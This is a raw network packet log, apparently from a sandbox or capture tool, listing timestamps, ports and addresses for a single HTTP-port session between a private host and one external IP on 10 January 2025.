Jan 10, 2025 21:55:42.303647041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.304325104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304337978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304348946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304363966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304372072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.304390907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304403067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304405928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.304416895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304428101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.304480076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.304519892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.305768967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305785894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305797100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305809975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305824995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305838108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305847883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.305850029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.305886030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.305960894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306013107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306039095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306046009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306057930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306070089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306085110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306097031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306098938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306124926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306149006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306724072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306735992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306750059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306761980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306773901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306778908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306787968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306799889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306812048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306817055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306827068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306838989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306847095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.306849003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.306865931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.307429075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.307467937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.307467937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.307635069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.309933901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.314234972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.343259096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.343271971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.343324900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.343635082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.343678951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.343683958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.343697071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.343734980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.349895954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.349908113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.349920988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.349960089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.350683928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.389535904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389640093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389652014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389664888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389678001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389688969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389699936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389699936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.389708042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389722109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389738083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389748096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389760971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389763117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.389791965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.389803886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389811993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.389826059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389832020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389844894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.389884949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.397737026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430056095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430068016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430160999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430183887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430227041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430247068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430268049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430358887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430370092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430382967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430392981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430397034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430412054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430423975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430423975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430438995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430452108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430478096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430500031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430541992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430598974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430613995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430633068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430644989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430665970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430665970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430679083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430691957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430706024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430723906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430725098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430737019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430747986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430751085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430761099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430782080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430809975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430857897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430897951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.430907011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430927992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430938959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.430946112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431010962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431075096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431123018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431138992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431150913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431164026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431170940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431183100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431188107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431195021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431206942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431221962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431246996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431262016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431273937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431284904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431320906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431345940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431358099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431369066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431380033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431384087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431392908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431413889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431436062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431473970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431494951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431507111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431526899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431533098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431540012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431552887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431565046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431577921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431598902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431634903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431647062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431665897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431673050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431678057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431690931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431698084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431703091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431726933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431782961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431826115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431842089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431854010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431866884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431879997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.431886911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.431921005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432080030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432101965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432106018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432116985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432122946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432128906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432135105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432140112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432147980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432152987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432158947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432163954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432173014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432179928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432234049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432403088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432414055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432425022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432436943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432441950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432451010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432466030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432470083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432488918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432497978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432502031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432513952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432519913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432531118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432538033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432543039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432554007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432557106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432569981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432584047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432606936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432615042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432632923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432787895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432800055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432811975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432823896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432837009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432841063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432857990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432866096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432878017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432888985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432902098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432903051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432914972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432923079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.432928085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.432970047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.433259010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478409052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478435040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478490114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478499889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478513002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478524923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478538036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478540897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478552103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478564024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478564024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478606939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478630066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478641033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478652954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478663921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478665113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478682041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478705883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478729010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478768110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478786945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478800058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478811979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478822947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478826046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478840113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478852987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478864908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478866100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478880882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478884935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478893042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478905916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.478920937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.478941917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519365072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519388914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519403934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519423962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519435883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519460917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519462109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519475937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519540071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519553900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519567013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519587040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519603014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519608021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519618988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519630909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519633055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519649029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519659996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519660950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519674063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519686937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519690037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519701004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519711971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519717932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519731998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519750118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519762993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519768953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519776106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519789934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519800901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519802094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519814014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519833088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519862890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519881010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519905090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519948959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.519958019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.519994020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520042896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520092010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520103931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520117998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520129919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520153046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520189047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520195961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520291090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520303965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520317078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520328999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520334959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520363092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520365000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520379066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520392895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520422935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520437002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520448923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520451069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.520471096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.520483017 CET	80	49704	193.143.1.205	192.168.2.8
